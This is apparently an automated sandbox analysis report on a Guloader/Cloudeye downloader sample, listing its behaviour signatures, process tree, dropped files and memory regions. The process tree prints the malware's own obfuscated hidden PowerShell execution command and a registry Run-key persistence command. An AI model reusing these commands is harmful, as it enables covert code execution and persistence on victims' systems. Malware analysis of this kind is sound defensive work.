Analysis
- max time kernel
149s - max time network
154s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
28/05/2026, 15:23
General
- Target 01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795.exe
- Size 720KB
- Sample260528-sshcqacz9q
- SHA256 01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795
Malware Config
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Program Files directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- NSIS installer 2 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795.exe"C:\Users\Admin\AppData\Local\Temp\01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Parsec=GC -raw 'C:\Users\Admin\AppData\Local\Temp\Alloerotism\retskrivningsordbger\Meningsudvekslingers100\Subdiapasonic208.For';$Tekstblok=$Parsec.SubString(286,3);.$Tekstblok($Parsec)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Vanillon.exe"C:\Users\Admin\AppData\Local\Temp\Vanillon.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Gavnliges% -windowstyle 2 $Agnostikerens='g'+'p';$Fritstilledes=(.($Agnostikerens) 'HKCU:\Software\destruktioners\').'Terrnsports49';%Gavnliges% ($Fritstilledes)"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Gavnliges% -windowstyle 2 $Agnostikerens='g'+'p';$Fritstilledes=(.($Agnostikerens) 'HKCU:\Software\destruktioners\').'Terrnsports49';%Gavnliges% ($Fritstilledes)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
Aulu.Nel
Subdiapasonic208.For
Vanillon.exe
__PSScriptPolicyTest_jdnaypxv.3da.ps1
nsExec.dll
memory/1732-73-0x0000000000400000-0x0000000001717000-memory.dmp
memory/1732-77-0x0000000001720000-0x000000000309B000-memory.dmp
memory/1732-76-0x0000000000400000-0x0000000001717000-memory.dmp
memory/1732-75-0x0000000001720000-0x000000000309B000-memory.dmp
memory/3716-46-0x0000000007CE0000-0x0000000007CFE000-memory.dmp
memory/3716-51-0x0000000008610000-0x0000000008625000-memory.dmp
memory/3716-19-0x0000000006350000-0x00000000063B6000-memory.dmp
memory/3716-26-0x00000000063C0000-0x0000000006717000-memory.dmp
memory/3716-27-0x0000000006860000-0x000000000687E000-memory.dmp
memory/3716-28-0x0000000006910000-0x000000000695C000-memory.dmp
memory/3716-29-0x0000000007840000-0x00000000078D6000-memory.dmp
memory/3716-30-0x0000000006D70000-0x0000000006D8A000-memory.dmp
memory/3716-31-0x0000000006DE0000-0x0000000006E02000-memory.dmp
memory/3716-32-0x0000000007ED0000-0x0000000008476000-memory.dmp
memory/3716-34-0x0000000008B00000-0x000000000917A000-memory.dmp
memory/3716-35-0x000000007FCD0000-0x000000007FCE0000-memory.dmp
memory/3716-36-0x0000000007C80000-0x0000000007CB4000-memory.dmp
memory/3716-38-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-40-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-17-0x0000000006140000-0x0000000006162000-memory.dmp
memory/3716-37-0x0000000070640000-0x000000007068C000-memory.dmp
memory/3716-47-0x0000000007D90000-0x0000000007E34000-memory.dmp
memory/3716-48-0x0000000007E90000-0x0000000007E9A000-memory.dmp
memory/3716-49-0x00000000085D0000-0x00000000085E1000-memory.dmp
memory/3716-50-0x00000000085F0000-0x00000000085FE000-memory.dmp
memory/3716-18-0x00000000062E0000-0x0000000006346000-memory.dmp
memory/3716-52-0x0000000008650000-0x000000000866A000-memory.dmp
memory/3716-53-0x0000000008640000-0x0000000008648000-memory.dmp
memory/3716-54-0x0000000008660000-0x000000000868A000-memory.dmp
memory/3716-55-0x00000000086C0000-0x00000000086E4000-memory.dmp
memory/3716-56-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-58-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-60-0x0000000008780000-0x0000000008783000-memory.dmp
memory/3716-61-0x0000000009180000-0x000000000AAFB000-memory.dmp
memory/3716-62-0x0000000009180000-0x000000000AAFB000-memory.dmp
memory/3716-63-0x000000007FCD0000-0x000000007FCE0000-memory.dmp
memory/3716-65-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-64-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-66-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-67-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-68-0x0000000008780000-0x0000000008783000-memory.dmp
memory/3716-70-0x0000000009180000-0x000000000AAFB000-memory.dmp
memory/3716-16-0x0000000005B10000-0x000000000613A000-memory.dmp
memory/3716-14-0x00000000054D0000-0x00000000054E0000-memory.dmp
memory/3716-15-0x00000000053B0000-0x00000000053E6000-memory.dmp
memory/3716-74-0x0000000009180000-0x000000000AAFB000-memory.dmp